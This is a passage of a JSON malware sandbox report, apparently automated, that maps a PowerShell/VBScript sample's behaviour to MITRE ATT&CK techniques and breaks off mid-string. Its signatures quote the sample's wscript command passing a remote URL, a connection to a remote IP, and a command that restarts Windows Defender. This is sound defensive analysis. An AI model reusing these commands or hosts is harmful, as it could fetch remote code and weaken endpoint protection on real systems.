API"},{"attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Component Object Model Hijacking"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"Security Software Discovery"},{"attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Boot or Logon Autostart Execution"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Windows system process connects to a network"},{"type":"suspicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"User Activity Based Checks"},{"attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Time Discovery"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Credential Access","technique":"OS Credential Dumping"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Shortcut Modification"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes a PowerShell script"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"PowerShell"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Modify Registry"},{"attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hide Artifacts"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains ability to post data to a web server"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Opens a handle to the specified local process"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Impact","technique":"Service Stop"},{"attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Malicious File"},{"attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Queries kernel debugger information"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Debugger Evasion"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"References to WMI query strings used to retrieve network adapter information"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"},{"attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Asymmetric Cryptography"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to restart services (Powershell command string)"},{"type":"informative","value":"Contains ability to start services (Powershell command string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Opened the service control manager"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Service Execution"},{"attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Able to manipulate a file/directory time format"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Proxy"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Access Token Manipulation"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Time Based Evasion"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"Software Discovery"},{"attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Lateral Tool Transfer"},{"attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Command and Scripting Interpreter"},{"attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Create or Modify System Process"},{"attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"System Checks"},{"attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","identifiers":[{"type":"suspicious","value":"Removes an item from the Startup folder"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Clear Persistence"},{"attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Collection","technique":"Email Collection"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"}],"rule_matches":{},"sandbox_signatures":[{"category":"General","description":"$23","id":"memorydump-10","level":"informative","mitre_attack_id":"T1012","name":"Found registry location strings in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$24","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","id":"registry-27","level":"informative","mitre_attack_id":"T1090.001","name":"Modifies proxy settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found User Agent(s): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248","id":"network-22","level":"suspicious","mitre_attack_id":"T1071.001","name":"Employs a browser-related User Agent without launching browser","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$25","id":"string-433","level":"informative","mitre_attack_id":"T1047","name":"Contains ability to execute a WMI query","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$26","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","id":"registry-18","level":"informative","mitre_attack_id":"T1012","name":"Accesses Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve/modify process thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\wscript.exe\" %TEMP%\\oklnkae.vbs zoom.05ukweb.uk/ft 1\" - (UID: 00000000-00006036)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\wscript.exe\" %TEMP%\\oklnkae.vbs zoom.05ukweb.uk/ft 2\" - (UID: 00000000-00006036)","id":"api-129","level":"suspicious","mitre_attack_id":"T1055","name":"Creates a process in suspended mode (likely for process injection)","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Process \"wscript.exe\" connects to 45.61.129.29:443","id":"target-269","level":"malicious","mitre_attack_id":"T1055","name":"Windows system process connects to a network","origin":"Monitored Target","relevance":7,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006036)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006036)","id":"api-148","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve account information for specified SID","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"Join-Path\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n file/memory contains long string with (Indicator: \"powershell_ise.exe\"; File: \"B8QJI8J4JJB1PCN9I2I1.temp\")\n Found string \"$vbsPath = Join-Path $env:TEMP \"oklnkae.vbs\"\" (Indicator: \"Join-Path\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")","id":"string-187","level":"informative","mitre_attack_id":"T1059.001","name":"Observed Powershell command strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ATL.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\atl.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MSCOREE.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FLTLIB.DLL\"","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00006036-00000C2C-2957895782\")","id":"string-879","level":"informative","mitre_attack_id":"T1205.002","name":"Able to monitor socket connection","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"details too long to display","id":"amsi-2","level":"informative","mitre_attack_id":"T1059.001","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","origin":"Windows Antimalware Scan Interface","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"Start-Service\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"Restart-Service -Name Windefend -Force\" (Indicator: \"Start-Service\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")","id":"string-332","level":"informative","mitre_attack_id":"T1569.002","name":"Contains ability to start services (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"Win32API|GetSystemMetrics|SM_DEBUG\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"Win32API|GetSystemMetrics|SM_CLEANBOOT\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"Win32API|GetSystemMetrics|SM_DEBUG\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")\n Found reference to API \"Win32API|GetSystemMetrics|SM_CLEANBOOT\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")","id":"string-131","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; 